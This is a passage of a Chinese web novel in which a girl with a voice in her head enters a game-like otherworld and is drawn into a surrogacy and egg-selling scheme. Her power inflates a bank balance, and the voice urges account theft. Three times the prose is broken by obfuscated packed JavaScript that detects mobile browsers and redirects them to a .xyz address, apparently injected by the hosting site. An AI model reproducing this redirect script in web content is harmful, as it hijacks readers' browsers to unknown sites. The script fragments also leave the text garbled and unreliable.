【持有效果:游戏副本内的普通怪物会对你感到恐惧,但同时你会受到里世界核心的额外关注。】 纪采差点一口气没喘上来——你是不是想我死?是不是想我死?!有本事你直接正面搞我,而不是这样暗戳戳地针对我! 纪采已经走到了游戏商城的门口。黑曜石大厅的侧方开了一排拱门,像是石拱桥下连绵的桥洞。穿过拱门,光线陡然明亮。 雪白的大理石被切割成蜂巢一般的结构,格子里面摆满了琳琅满目的物品。一眼望不到头的庞大货架整整齐齐地排列在大厅里,四四方方的格局像是图书馆。 【欢迎来到积分商城。您可以在检索栏快速查询您想要的商品。首次在商城购物可以享受五折优惠哦。】 现在她兜里有5000积分,首单优惠能让她拿到价值一万分的道具。 买什么好呢? 27.间章·新年 人逢喜事精神爽,纪采的大姨妈这几天乐坏了——因为表姐丁灵宁说后面几天过年的时候要带自己的男朋友回家。 纪采缩在大姨家的沙发上嗑瓜子,围在身边的亲戚开始叽叽喳喳地讨论表姐要带回来见家长的男朋友。 大姨父鼻子不是鼻子眼睛不是眼睛的:“谁啊?长啥样?做什么工作的?” “是她在治安局的同事,叫周行谦。长得挺俊的一个小伙子,一米九的大高个。喏,给你看照片。” 纪采兴奋地两眼放光:“哦哦哦!我知道这个周行谦!我们学校爆炸那天,我还在治安局看见他和我姐在一起!两个人挨得可近了!” 当时和周行谦握手的时候,她又感受到了那股熟悉的精神力。周行谦很有可能就是那个拥有读心术的异能者,要是他真变成自己姐夫了……那她以后在家里都要夹着尾巴过活了。 姐啊,你这个男朋友能换一个吗? 大姨父把手机拿远了些,眯着眼睛仔细端详一番:“模样倒是挺端正……” 纪采她爸乐呵呵的:“是个小帅哥!铃铃眼光不错啊!” “就是这黑眼圈怎么跟被人打了一拳似的?这娃儿身体不好吧!”大姨父满脸嫌弃地挑刺。 “他们治安官哪有身体不好的?病秧子能当治安官吗!”纪采妈妈瞪眼,显然和自家大姐同一战线。 人家不止是治安官,人家还是异能者,八成是会读心的那种,老恐怖了。哦对了,她姐好像也是异能者啊! 纪采忧愁地想。 为了应对周行谦上门,纪采这几天都在练习控制自己脑海里的想法,力求天衣无缝。 可直到除夕当天丁灵宁也没能回家。早上纪采醒来的时候点开消息列表,发现表姐在凌晨三点给自己转了压岁钱。 大姨气得嘴角都起了个泡。因为丁灵宁说局里临时有紧急任务,今年过年不回来了。 什么紧急任务能在凌晨三点能把人叫走? 纪采拉出玩家菜单,点进了资讯中枢。 【置顶:天灾降临!大型团本《天使温室》绝赞登陆中!】 这个帖子被挂在副本信息栏的最顶端,点进来的人一眼就能看到。标题字体加大加粗,并且被涂成了刺眼的血红色。 【发帖人:天灾运营组】 【发帖时间:今日,02:57】 【大型副本:天使温室】 【星级:****】 【建议玩家等级:2级;建议异能等级:A级。】 【该副本限时开放至次日下午两点整。】 【玩家人数:128/1000】 【锚定进度:71%】 【副本介绍:天使温室生物技术有限公司,致力于为广大女性解除生育负担,为千万家庭带来温暖。试管婴儿代孕技术,无痛圆您儿女双全梦。 “生命廉价还是昂贵?正义会迟到还是缺席?”】 底下的跟帖已经盖起了几千层的高楼,玩家们讨论得热火朝天。 “玩家等级要求低得不像四星副本,但是推荐的异能等级高得也太离谱了吧!我从没见过这么怪的副本!” “这个本的解谜应该很简单,但是boss战绝对是地狱级,不然不会推荐A级异能者进。” “71?这进度不是明天就要降临现实了吗!异常调查科干什么吃的,居然放了这么一个大雷不管?” “不用进主页我都知道楼上那种弱智发言是什么成分,点开一看果然是破灭之刃的,笑死。” “悲报,现在已经78%了……” “不要慌兄弟们,冬青市的S级异能者组团下别的副本去了,才把这个天使温室放出来的。异调科已经从隔壁上阳市调了一个支队过去,队里有两个S级,四星副本洒洒水啦。” “上阳市异调科不是只有一个甘冰是S级吗?哪来的第二个?” “Hello?四个小时过去了,怎么锚定进度到85%了?” “最新消息!破灭之刃的‘瘟疫医生’也带队进去了!” “这么多大佬都进去了,锚定进度还涨得越来越快,老天,天使温室不会变成沦陷区吧……” 纪采看了一眼时间,现在是上午十点左右。七个小时过去了,天使温室的锚定进度从71%涨到了94%。 “还差百分之六的进程,里世界就会完全取代现实。战争已经打响了,人类要和异常争夺生命和土地。你拥有的力量是足以令天平倾斜的砝码,我的救世主,你要在哪一方下注呢?” 纪采一把捂住自己突然扭曲的脸庞:“你怎么不继续装了?不骗我这是我自己的想法了?” “因为你希望分开‘纪采’和‘零和’,所以我们就分开了,就像袁文盈那样。但我依旧是你,不管你愿不愿意承认……我愿意继续自称‘零和’,如果这能让你好受些的话。” “平平,你干啥呢?” 纪采妈妈奇怪地盯着她:“你牙疼啊?” 纪采干笑两声:“没呢没呢,我玩手机呢。” “你都在家抱着你那个手机抠了好几天了,能不能想点事?” 纪采妈妈皱着眉头,一脸嫌弃:“你们学校都没了,总不能一整年不去学校上课吧?说是要给你们上网课,那网课能和线下课一样吗?你要不还是转学去别的高中读书吧!成天在家,就你这个状态,能好好学吗……” 纪采爸爸走过来,把切好的果盘端到茶几上:“大过年的少说两句吧,平平才从鬼门关回来,玩两天就玩两天,现在不是还在放寒假?” 纪采妈妈一巴掌糊到纪采她爸后脑勺上,怒目圆睁:“你丫装好人唱红脸还唱上瘾了!你搁这挑拨母女关系是吧?老娘给你脸了?滚犊子!” 纪采她爹一下子就给拍蔫了,臊眉搭眼地缩在沙发上,像一根风干脱水的小白菜。 纪采举双手投降:“我错了,老妈,你别念了!我不玩了,我这就滚去学习!” 纪采丢下手机落荒而逃。为表诚意她甚至没有关房门,正襟危坐地开始翻书。 “我亲爱的救世主,你还看这些做什么呢?天灾就要降临了,世界末日也不能阻止你去参加高考么?” “你放屁!救世主那种东西根本不存在,历史是由人民创造的!”纪采咬牙切齿。 然后纪采听见自己的声音说:“要是你不喜欢‘救世主’这个说辞,那我换一个——核武器?杀手锏?王牌?其实你是那种能改变战局的东西,只是你现在还意识不到。” “我打开窗户一看,怎么有一群牛在天上飞,原来都是被你吹的。” 纪采的内心毫无波澜,甚至还有点想笑。 “你真的不打算下场吗?你的姐姐很有可能在那个天使温室里哦。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692324|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我去了能顶什么用?给异常送菜吗?我能有那什么S级异能者厉害?你也太看得起我了吧!”纪采翻了个白眼。 于是那声音就此偃旗息鼓了。 “话虽如此,多一个人就多一份力量,如果我去的话,是不是真的能改变什么呢……?” 纪采打了一个激灵,猛然从自己的思绪中抽离。她烦躁地挠头,把自己的头发揉成了一团鸡窝:“想什么呢!异常调查科能解决的!他们可是官方! 纪采心里压了事,背书的时候心浮气躁,一个下午也没看进去多少。 烟花像逆飞的流星一样升上夜空,绚烂的光彩漫天飞舞,氤氲的烟雾弥漫成云。 纪采缩在沙发上,望着窗外的烟火发了好久的呆。直到视网膜上倒映出一片方方正正的荧光蓝,她的视线才有了切实的落点。 【〈区域〉:里世界‘天使温室’锚定进度已达到100%,表世界坐标位于华州冬青市大学城。该副本登入权限限时二十四小时开放,倒计时结束后将无法登入!】 纪采一个鲤鱼打挺从沙发蹦到地板上,动静大得她妈妈都转头看过来:“突然一下干嘛啊你?抽风啦? ” 纪采心乱如麻:“没事,我躺久了,活动一下……” 大学城?怎么会是大学城?那里面得有多少人啊?那些该死的异常怎么这么喜欢往人堆里扎啊?! “啊哦,这下完蛋喽。冬青市大学城占地20多平方公里,里面有将近三十万人呢。如果BUG还在异常调查科手里的话,救援工作的难度会低很多吧?” “你给我闭嘴!” 纪采恼羞成怒:“BUG不是你逼我抢走的吗!明明是你算计我!” “如果把责任推给别人会让你没那么有负罪感的话,你就装作我是零和好了。” 纪采听见自己在笑,笑着笑着,那声音扭曲成了零和的声线:“但这是饮鸩止渴,你明白吗?里世界没把你变成智障,却把你搞得精神分裂了。你真的不考虑去看看心理医生吗?” 电视机里的晚会主持人倒数完今年的最后十秒,窗外的烟花在读秒归零时一齐绽放。鞭炮声欢呼雀跃,噼里啪啦的巨响盖过了其余一切的声音。 “新年快乐!” 上阳市的风俗是在凌晨12点吃团年饭,一家人转去了餐桌,揭开了早已热好的火锅。在餐桌上,不可避免地提起了唯一缺席的丁灵宁。 “铃铃工作了三年,就有三年没回家过年了,平时也不着家,简直愁死个人。我也不知道还能不能看见铃铃结婚生小孩……” 姥姥话还没说完就被大姨打断了:“妈!大过年的说这话多不吉利啊!” 纪采沉默了一会儿:“她是治安官嘛,没办法的。” 她姐不回家大概是因为一年到头都待在里世界吧?玩家论坛上说异常调查科的异能者基本上全年无休,因为本国的异能者只有大约两千人,顶尖的S级异能者好像才二三十个,每人负责一个州府都不够用的。 因为人手不够,异常调查科的治安官不是在救人就是在赶去救人的路上。 “人类的抗争在天灾面前根本不值一提……人类必将迎来二次进化,时代的浪潮会把失格者无情地抛弃在身后。珍惜现在的美好时光吧,也许很快它就要一去不返了。” 脑袋里又响起了零和的声音。纪采抿唇,嘴角拉平成一条直线。 28.间章·大学 闹铃响了。纪采迅速睁眼,滑开手机屏幕掐掉了铃声。 手机显示的时间是13:30。正午的阳光从窗帘的缝隙里穿进来,寝室里除了她空无一人。 【里世界坐标已锚定,正在识别玩家身份……】 【玩家名称:零和】 【游戏等级:1】 【异能:C级·虚实幻真;A级·无限空间之王】 【精神值:888】 【玩家零和,成功登陆里世界·天使温室。这是你的初次登陆,系统将为你提供新手引导。】 【你随机到的身份是:林小荷。】 【角色设定:林小荷,女性,22岁,冬青大学生物制药专业大四学生。】 【请玩家维持角色设定,完成角色应有的行为轨迹,避免引起里世界的排异反应。】 【玩家当前位置偏离游戏副本中心区域,规则书暂未启用。副本探索度:0%。】 【你已自动加入当前攻略组群聊。快来开启你的第一次多人聊天吧!】 纪采一愣,群聊?什么群聊? 纪采心念一动,光屏弹出,对话框的最上方挂着聊天名称“天使温室首杀团攻略组”。 玩家们的对话信息如同流水般滑过屏幕,但在“零和加入了群聊”这条系统消息插入其中之后,玩家们集体陷入了诡异的沉默中。 片刻之后,有人缓缓地打出了一个问号。 “?” “是我想的那个零和吗?” “合影留念!” “合影留念+1。” “这把稳了家人们,加上这位大佬,现在我们有4个S级了!” 纪采压根没注意炸开了锅的聊天信息。群聊的界面跟现实世界常见的聊天软件一般无二,她熟门熟路地点开群聊成员列表,果不其然看见了丁灵宁和周行谦的名字。 在丁灵宁名字后头,还有两个纪采感到非常眼熟的名字“甘冰”和“罗西尼·杨”——玩家论坛里提到过的S级异能者。 【你有一条待确认的群公告。】 【群公告:副本信息汇总请查看群文件。】 纪采点击确认,开始翻看玩家们上传的文件。 在天使温室锚定现实之前,冬青市的异常调查科已经对它进行了攻略。但结果显然很惨烈,不然副本的锚定进度不会暴涨到无法控制的地步,列表最前端的玩家名称也不会是一片不祥的灰色。 天使温室彻底入侵现实世界之后,原本的副本探索度立刻被重置了,所有玩家都要重新开始游戏。但上一次探索获得的信息保留了下来,被不同的玩家分享到这个群聊里面。 根据情报,副本里面并不存在名叫“天使温室”的公司。但在这里各种生物科技和医疗公司遍地开花,主营业务无一例外都是代孕技术和基因治疗。再联系副本介绍,玩家们怀疑副本核心应该是生物科技的受害者,而当务之急是找到真正的“天使温室”。 “咕~” 纪采空空如也的腹部发出了一声荡气回肠的鸣叫,干瘪的饥饿感姗姗来迟。 真见鬼!明明现实世界里她才刚刚吃完年夜饭,撑得在床上翻来覆去睡不着! 纪采脸色发绿地想:“不行!我要挺住!里世界的东西不能吃!” 【角色日程更新:购买餐食后向用人单位投递两百份简历。】 纪采:…… 该死!你一个游戏副本,要不要做得这么真实啊?! 纪采认命地穿好衣服爬下床,直接出门觅食。 手机上显示今天是平康四十八年的五月十五日,周末。学生们三三两两地漫步在校园内的林荫道上,手里拿着烤肠、奶茶或是电脑包。 一瞬间纪采有些恍惚起来,她真的在里世界吗?这里的氛围安逸闲适,就像一所再寻常不过的大学那样。 纪采跟着卫星地图的导航走到食堂,却发现这个点食堂已经关门了,于是她只能去校园外找饭吃。 校门口聚集了诸多小摊贩,食物的香气勾得纪采口水直流。纪采买了一份炒饭,用手机付钱的时候,却被提醒余额不足。纪采一连更换了好几个支付方式,就是凑不出一份炒饭的钱。 尴尬像刺入鼻腔的冷空气,扎得纪采面皮泛起密密麻麻的疼。 懂了,这个角色的隐藏身份是穷鬼啊! “啊,不好意思,麻烦你等我一下。” 纪采抓耳挠腮,点开聊天软件的联系人列表。她给“林小荷”的父母发信息索要生活费,等了片刻之后仍然没有回应,于是她直接一个电话打了过去。 纪采艰难地开口:“喂,爸,你能不能……” “讨债鬼!又要钱来了是吧?” 中年男人的咆哮声在听筒里炸开,震得纪采猛地抽了一个冷子,赶紧把手机拿远。 “家里欠了多少万你不知道是吗?你还有脸给我打电话要钱?钱钱钱,一张口就是钱,一天到晚就知道要钱!” 林小荷的父亲在电话那头愤怒地吼叫,声音大得跟开了免提似的:“我告诉你,你考研究生的事没得商量,老子供不起!赶紧出去找工作给家里还债!不然老子白花钱养了你这么多年!” “哎呀,你跟孩子说得多难听……” 背景里响起了年老女性的声音。随后,那位老人接过了电话,语气柔和:“小荷,你爸又喝醉了,你别跟他计较啊。” 纪采垮着一张脸,仿佛看见了什么无法理解的抽象行为艺术,无语凝噎:“呃……” 看来“林小荷”这个角色的家庭背景埋了大雷啊…… “你爸也是没办法,本来家里就欠了三十多万,你哥哥这几年还要娶媳妇,家里压力大得很,你得体谅体谅啊。” 父亲欠债酗酒,兄弟娶媳妇——纪采只能继续无语凝噎:“呃……” “小荷啊,你听奶奶说,你今年已经22岁了,我们家这个条件供你上大学真的已经很不容易了……” “我知道,我已经在找工作了。”纪采冷硬地打断她。 “你读的冬青大学又不是什么顶好的学校,学生物也不好找工作吧?累死累活也就一个月三四千,扣掉房租啥的一年到头也剩不下钱。” 电话那头的奶奶期期艾艾地说:“还不如跟你妈一样去搞代孕,躺着啥也不干就能把钱挣了!包吃包住,生一胎能有十多万呢!” 纪采露出一副吃了苍蝇的恶心表情:“你让我去卖子宫?你怎么不干脆直接把我人给卖了呢?” 奶奶噎了一下,仍然没有放弃劝说她:“你不愿意干代孕,那你去卖卵总行了吧?这个来钱可快,十天就能赚万把来块钱呢!” 纪采深吸一口气,却没能让自己冷静下来。大量氧气的涌入反而让她肺腑里的怒火越烧越旺:“照你这样说,肾脏可比卵子值钱多了,我不如去卖个肾?血也能卖钱呢,我干脆再卖个血好啦?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787435|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话那头卡顿了一下,没听出来纪采的阴阳怪气:“也不是不行……” 纪采这下真被气笑了:“那为什么是我去卖?你不能去卖吗?你儿子呢?那三十多万是他欠的债吧?他怎么不去卖?” 林小荷的奶奶被纪采毫不留情的尖锐质问刺得暴跳如雷,扯着一副破锣嗓子尖叫起来:“死丫头你怎么说话的?怎么跟你奶奶说话的!你怎么这么不孝顺?你……” 纪采面无表情地掐断了林小荷奶奶的怒骂,并且把这个电话号码拉进了黑名单。 【警告:玩家当前行为与角色设定不符!角色设定崩坏后,玩家将受到里世界规则的惩罚!当前角色崩坏度:15%!】 纪采对着悬浮的光屏竖起中指,千言万语全都浓缩在这个手势里。 【你正在被???注视,???对你的好感增加了。】 纪采瞬间毛骨悚然,猛地扭头向身后看去。 “小美女,麻烦了解一下吧!” 一张色彩抢眼的传单被人怼到纪采面前。拿着传单的是一个皮肤黝黑的中年妇女,她挎着一个鼓鼓囊囊的大布包,半敞的拉链里面塞满了传单和廉价小礼品。 纪采盯着面前这个女人好一会儿,才沉默地把彩纸接了过来。“招聘”两个大字映入眼帘,紧跟着的是“月薪上万”。 “诚招女工,包食宿,年龄18-38岁,要求身体健康,单身及有生育史优先,不限学历!” 纪采第一反应是,这天底下还能掉这样的馅饼?只要是个女的就行,那她还读个屁的书、上个屁的学啊? 视线往下一扫,落款是“五谷丰登生物科技有限公司”。纪采把传单翻了个面,背后印着“爱心捐卵,10天赚1万”“爱心妈妈,一胎15-20万”。 纪采:…… 发传单的大妈从布包的敞口里面抓出一个用透明塑封袋装着的小发夹,连同脖子上拴着的卡片一起塞到纪采面前。 “扫个码吧同学,就关注个公众号,关注一下就行了。” 女人的手掌呈现出黄土的色泽,上面爬满了树皮一般皲裂的纹路,像是干旱开裂、沟壑纵横的大地。 纪采沉默了片刻,还是把发夹塞进衣兜里,扫描卡片上的二维码跳转到“五谷丰登生物科技公司”的公众号界面。 “哎,谢谢!谢谢啊!” 女人干枯的脸上绽开一个笑,像是风沙磨砺的岩石裂开了缝隙。 “阿姨,这个代孕这么赚钱,你不去做吗?发传单赚不了多少吧?” 纪采低垂着眼睫,冷不丁地发问。 对面的女人愣了一下,回答道:“代孕前几年我也干过,现在老了,干不动了。这个是年轻人才做的,老了就没机会喽,想吃这碗饭也吃不了。” 纪采倏地抬起眼帘,盯着她的眼睛:“一年十几万,也攒不下钱吗?你现在这个年纪,应该在家里带带孙子,跳跳广场舞才对。” 女人脸上的肌肉耸动起来,支起的颧骨像嶙峋的山石。她面露难色,伸出舌头舔了舔干涸的唇瓣,声音带了些轻微的颤抖:“你说的那是有钱的人啊,我就是个农民,哪有钱呢?我要赚钱养家,我还要送我女儿读大学,我不进城打工就没钱的。” “哎,我知道我看起来老,但其实我也没那么老的。” 女人喃喃地触摸着自己的脸颊,粗糙的手掌抚过岁月无情的刀痕:“我今年才四十三呢。” 29.间章·穷鬼 这个萍水相逢的女人转过身再度流入人海,辗转在匆匆的行人中间,一次次伸出自己的胳膊,徒劳无功或是空手而归。 纪采握紧的拳头缓缓松开,露出一角金色的银杏叶。她被那道“注视”惊出了一背心的白毛汗,像只惊弓之鸟似地环视着周围的人群,试图找出一双不同寻常的眼睛。 那个“???”绝对就是里世界核心!她还记得“新人都是怪物”这个称号的作用——令普通怪物对自己感到恐惧的同时,引来里世界核心的注视。 可是系统明明告知自己“当前玩家位置偏离游戏副本中心区域”,在这种规则书都没有启用的“游戏准备阶段”,为什么她还会被核心注视?里世界核心难道是可以在副本里面到处跑的吗? 午后的阳光明媚灿烂,照得纪采浑身发冷。她越深想背上渗出的冷汗就越多,自己周身的人来人往可能都是虚假的布景,这个世界的主人正在虎视眈眈。 纪采甚至觉得曾经被划开的脖子都在隐隐作痛。 “你周围的人不是假的投影,你觉得真是因为他们本来就是现实里的真人。” 零和的声音悠悠响起,“和觉醒副本不一样——完全锚定现实的里世界会想要成为真正的现实,它会重构受害者的记忆和思想,让他们对世界的变化一无所知,按照自己的轨迹无知无觉地继续生活下去。在你威胁到涉及里世界核心的中心区域之前,这里和‘真实的现实’没什么两样。” 纪采不太想和自己脑子里的东西说话。她不知道零和到底是想要夺舍自己,还是自己真的精神分裂了,她只能尽力控制自己的想法不受零和的影响。 虽然对零和仍有忌惮,但是这番话让纪采冷静了不少。正如零和所说的那样,这个里世界的一切都和现实世界没什么两样,连手机软件都一比一复刻。她找到支付软件的贷款入口,发现林小荷早就用完了额度,还款账单还逾期了。 纪采不信邪,点开各大银行、购物软件、外卖APP甚至短视频平台,发现林小荷已经借完了所有能借到的钱。纪采粗略一算,少说得有个小几万。 纪采不敢置信地闭眼,希望眼前的数字是自己的幻觉。不是,林小荷你是吃钱的吗?怎么欠到这么多的啊? 什么超绝穷鬼的天崩开局啊! “我的救世主,你可是无限空间之王。当保险库里的黄金变成一串流动的数字,你就能将它们玩弄于股掌之间。” 零和的话语充满了暗示的意味。 纪采的眉头狠狠地跳了一下。踌躇一番,她还是决定试试异能力。 当纪采的精神跃入0和1的海洋之后,坚固的关隘就像是孩子游戏的小土坡,沙子垒成的墙壁悄无声息地流泻瓦解。 手机屏幕开始闪烁,代表金钱的数字像雪球一样滚动起来,速度越来越快,到最后只能看见一片纯白的残影。 手机已经烫得纪采差点失手扔出去,她吓了一跳,赶紧停止异能的输出。 余额数字最终定格在一个恐怖的长度,干瘪单细胞眨眼间膨胀成了巨无霸贪吃蛇。纪采定睛一看,得挨个数过去才能掰清楚这一串的“0”到底有多少个。 我嘞个豆啊! 纪采前后两辈子加起来都没见过这么多零,登时被这泼天的富贵砸得眼冒金星。她倒吸一口凉气,整个上半身都往后仰去。 纪采突然觉得,自己简直就是先天犯罪圣体……【无限空间之王】和开挂有什么区别?这异能什么原理啊?! “原理?异能的原理就像你妈打你,不讲道理。” 零和在她脑子里笑:“你对异能的运用手法太粗糙了,放在表世界会被抓住狐狸尾巴的哦。下次不要再那么粗鲁地从别人账户里打劫了,你可以抓取股市的现金流……” “停停停!不听不听王八念经!我绝不会干这种违法犯罪的勾当!” 纪采转过身,豪气干云得仿佛要买下一整条小吃街:“老板!再给我的炒饭加培根、里脊、火腿和一份生菜!” “有什么用呢?” 零和幽幽地说:“难不成你真的敢吃里世界的东西?” 纪采的脸色一下子就变得比地里的青菜还要绿上几分。 什么解谜类大型多人生存游戏,这根本就是绝地求生!挑战人类抗饿极限!攀登自制力和意志力的顶峰! 纪采脚步虚浮地回到宿舍。开门的时候,一个陌生的女孩扭过头来看向纪采,浓妆艳抹的靓丽脸庞上绽开一个微笑:“小荷你回来啦?” ……美女你谁? 美女的视线落在纪采手里拎着的炒饭上,一双黛眉拧在一起:“你怎么吃这个呀!” 纪采吞吞吐吐:“呃……那我该吃什么?” 美女瞪大了眼睛,一副恨铁不成钢的痛惜表情:“这种高热量的垃圾食品是碳水炸弹啊!超标的热量你要做多少运动才能消耗掉?” 美女越说越激动,到最后已经变成了高亢的尖叫,仿佛纪采要吃的不是炒饭而是蟑螂刺身:“油脂会毁掉你的内分泌!毁掉你的脸!你会变成满脸痘的癞蛤蟆!它还会毁掉你的体脂率、毁掉你的健康!你是想变成肥猪吗?!” 纪采也瞪大了眼睛,上半身不由自主地往后仰倒,用一种看外星人的眼神看着这个癫婆,并且因为过于震惊而短暂地失去了语言能力。 不是,你谁啊?你谁啊! 她俩大眼瞪小眼地僵持了好一会儿,纪采弱弱地开口:“就只是一顿饭而已,不至于吧?而且我觉得我也没有很胖……” “你的体重是三位数!!”美女的语气仿佛是天塌了。 纪采的目光意味深长地落在美女的胸部:“三位数怎么了?体重不过百,不是平胸就是矮。” “林小荷!”美女气得直跳脚。 “哈哈哈哈哈!” 门外传来一阵快活的笑声,甜腻的香风袭来,一只甲带蔻丹的雪白手掌从背后搭上了纪采的肩膀:“但是胸太大也不好呀,平胸的人才是衣架子,人家穿衣服可比我们好看多了~”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826896|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纪采转头,撞见了一张同样昳丽的年轻脸庞。那双镜面一样反射着漆光的红唇一开一合,吐出笑里藏刀的嘲讽:“不过我们其实都知道,玉洁的金主爸爸更想她不穿衣服的时候好看!嘻嘻~” 纪采:??? 坐在桌子前的女孩拧起的眉毛一上一下地往两边撇开,怒容扭曲成了似笑非笑的怪异神情:“真不好意思,老娘不管穿衣服还是不穿衣服,都比某个嘴贱的丑八怪好看!” 纪采又是倒吸一口凉气,某种小动物的求生本能促使她退出唇枪舌剑的战场。 谁知新来的那个女孩硬生生攥住了纪采的肩膀,抵挡了她往后退的躯体。 女孩转过脸凑近神情空白的纪采,带着脂粉香气的温热吐息直勾勾地扑在她脸上:“哇小荷,有人是不是觉得没她好看的都是丑八怪哎?” 玉洁从鼻孔里喷出一口气,冷笑:“哼!不管脸上动多少刀,丑八怪就是丑八怪!还自欺欺人以为别人看不出来那张科技脸有多假!” 纪采肩膀上的力道蓦然加重,尖锐的长甲片戳得她“嗷”一声跳开。 那女孩越过纪采,怒意昂然的背影像一座喷发的火山:“我说怎么一进门就闻到一股鸡屎味,原来是有只鸡在这儿!怎么,你爹终于把你屁股口烂了,下面喷粪,上面也喷粪?” 对面的唾沫星子都要喷到脸上了,玉洁依然冷笑:“你又在狗叫什么?你不会觉得卖子宫比卖口道高贵吧?就你这种科技合成丑八怪,别人老板眼瞎了才看得上你!你就是嫉妒我,其实心里可想卖口了吧?” “可惜你没那个资本!真可怜,别人看不上你的口,你就只能去卖卵卖子宫!小丑!穷鬼!你一辈子都只能靠卖肚皮换钱!一辈子都发不了财!!一辈子都是穷鬼!!!” 纪采的眼球都要瞪脱眶了——大妹子,这骂得也太、太……太脏了!太恶毒了!! 两个女孩旁若无人地撕起腥风血雨,纪采仿佛穿越到了什么战时的电报收发室,满耳朵都是“哔哔哔”“滴滴滴”的系统消音声。 【由于玩家未满18岁,青少年防护程序已开启!我们将全力守护未成年人的身心健康!】 纪采对着弹出的光屏无言地竖起中指:“你赶紧消失就是对未成年人最大的保护!” 前方的战场已经不是纪采这种小菜鸡能踏足的了,她只能瑟瑟发抖。纪采支支吾吾地试图劝架:“那个,你们别吵了……” “啊——!” 玉洁爆发出一阵刺耳的尖叫,几乎要掀翻屋顶的天花板。 另一个女孩长而锋利的甲片在她嫩白的脸上划出了长长的血痕,火辣辣的疼痛让玉洁狂躁起来,玉洁一把揪住对面女孩的长发,一边尖叫一边发疯似的撕扯。 两个女孩都叫喊起来,凶狠地纠缠在一起,滚到了地板上去。精心打理的发型被薅成一蓬野草,熨烫得整整齐齐的衣裙在灰尘里翻滚,皱得乱七八糟。 纪采惊慌失措:“你们别打了!住手!你们不要再打了啦!”